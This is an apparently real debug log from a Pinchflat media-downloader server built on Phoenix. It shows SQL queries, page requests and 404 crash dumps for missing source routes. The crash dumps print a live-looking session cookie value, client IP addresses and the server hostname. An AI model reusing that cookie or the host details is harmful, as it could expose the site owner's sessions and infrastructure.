s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:53:46.235 [info] Sent 200 in 39ms 04:53:46.250 [info] GET /sources/31/media/90767/edit 04:53:46.251 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90767", "source_id" => "31"} Pipelines: [:browser] 04:53:46.252 [debug] QUERY OK source="media_items" db=0.5ms idle=33.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90767] 04:53:46.253 [debug] QUERY OK source="settings" db=0.3ms idle=32.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.254 [debug] QUERY OK source="settings" db=0.3ms idle=30.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.255 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=29.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.258 [info] Sent 200 in 7ms 04:53:46.273 [info] GET /sources/31/media/90892/edit 04:53:46.273 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90892", "source_id" => "31"} Pipelines: [:browser] 04:53:46.274 [debug] QUERY OK source="media_items" db=0.5ms idle=44.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 04:53:46.275 [debug] QUERY OK source="settings" db=0.3ms idle=23.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.276 [debug] QUERY OK source="settings" db=0.3ms idle=22.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.278 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=23.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.282 [info] Sent 200 in 9ms 04:53:46.392 [info] GET /sources/31/media/90894/edit 04:53:46.392 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90894", "source_id" => "31"} Pipelines: [:browser] 04:53:46.393 [debug] QUERY OK source="media_items" db=0.5ms idle=137.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 04:53:46.395 [debug] QUERY OK source="settings" db=0.3ms idle=120.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.395 [debug] QUERY OK source="settings" db=0.3ms idle=119.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.397 [debug] QUERY OK source="settings" db=0.3ms idle=120.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.401 [info] Sent 200 in 8ms 04:53:46.413 [info] GET /sources/31/sync_files_on_disk 04:53:46.414 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=135.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.415 [debug] QUERY OK source="settings" db=0.3ms idle=21.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.415 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.417 [error] #PID<0.139232.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 25) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 25, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139232.0>, params: %{}, path_info: ["sources", "31", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0hJ_-PEf9-MADDQC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 25, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 25, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" (truncated) 04:53:46.432 [info] GET /sources/31/media/90907/edit 04:53:46.432 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90907", "source_id" => "31"} Pipelines: [:browser] 04:53:46.433 [debug] QUERY OK source="media_items" db=0.4ms idle=37.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 04:53:46.434 [debug] QUERY OK source="settings" db=0.2ms idle=38.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.435 [debug] QUERY OK source="settings" db=0.2ms idle=37.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.436 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=21.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.440 [info] Sent 200 in 8ms 04:53:46.540 [info] GET /sources/edefd6d3-d1d3-4129-b64e-a2b1a4136afe/feed.xml 04:53:46.540 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "edefd6d3-d1d3-4129-b64e-a2b1a4136afe"} Pipelines: [:maybe_basic_auth] 04:53:46.542 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=125.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["edefd6d3-d1d3-4129-b64e-a2b1a4136afe"] 04:53:46.555 [debug] QUERY OK source="media_items" db=12.1ms queue=0.3ms idle=109.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [30, 2000] 04:53:46.557 [info] GET /sources/new 04:53:46.558 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "30"} Pipelines: [:browser] 04:53:46.559 [debug] QUERY OK source="sources" db=0.5ms idle=124.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:46.560 [debug] QUERY OK source="media_profiles" db=0.6ms idle=124.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 04:53:46.561 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=124.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.562 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=20.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.563 [debug] QUERY OK source="settings" db=0.3ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.565 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.567 [info] GET /sources/31/media/91114/edit 04:53:46.568 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91114", "source_id" => "31"} Pipelines: [:browser] 04:53:46.568 [debug] QUERY OK source="settings" db=2.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.570 [debug] QUERY OK source="media_items" db=0.8ms queue=1.0ms idle=7.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 04:53:46.572 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.573 [debug] QUERY OK source="settings" db=0.4ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.574 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.578 [info] Sent 200 in 10ms 04:53:46.578 [info] Sent 200 in 20ms 04:53:46.596 [info] GET /sources/30/force_download_pending 04:53:46.596 [info] GET /sources/30/force_redownload 04:53:46.597 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=27.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.598 [debug] QUERY OK source="settings" db=0.6ms idle=26.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.598 [info] GET /sources/30/force_index 04:53:46.599 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=26.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.599 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.599 [debug] QUERY OK source="settings" db=1.0ms idle=25.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.600 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.600 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=24.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.601 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.601 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.600 [error] #PID<0.139238.0> running PinchflatWeb.Endpoint (connection #PID<0.139236.0>, stream id 2) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139236.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 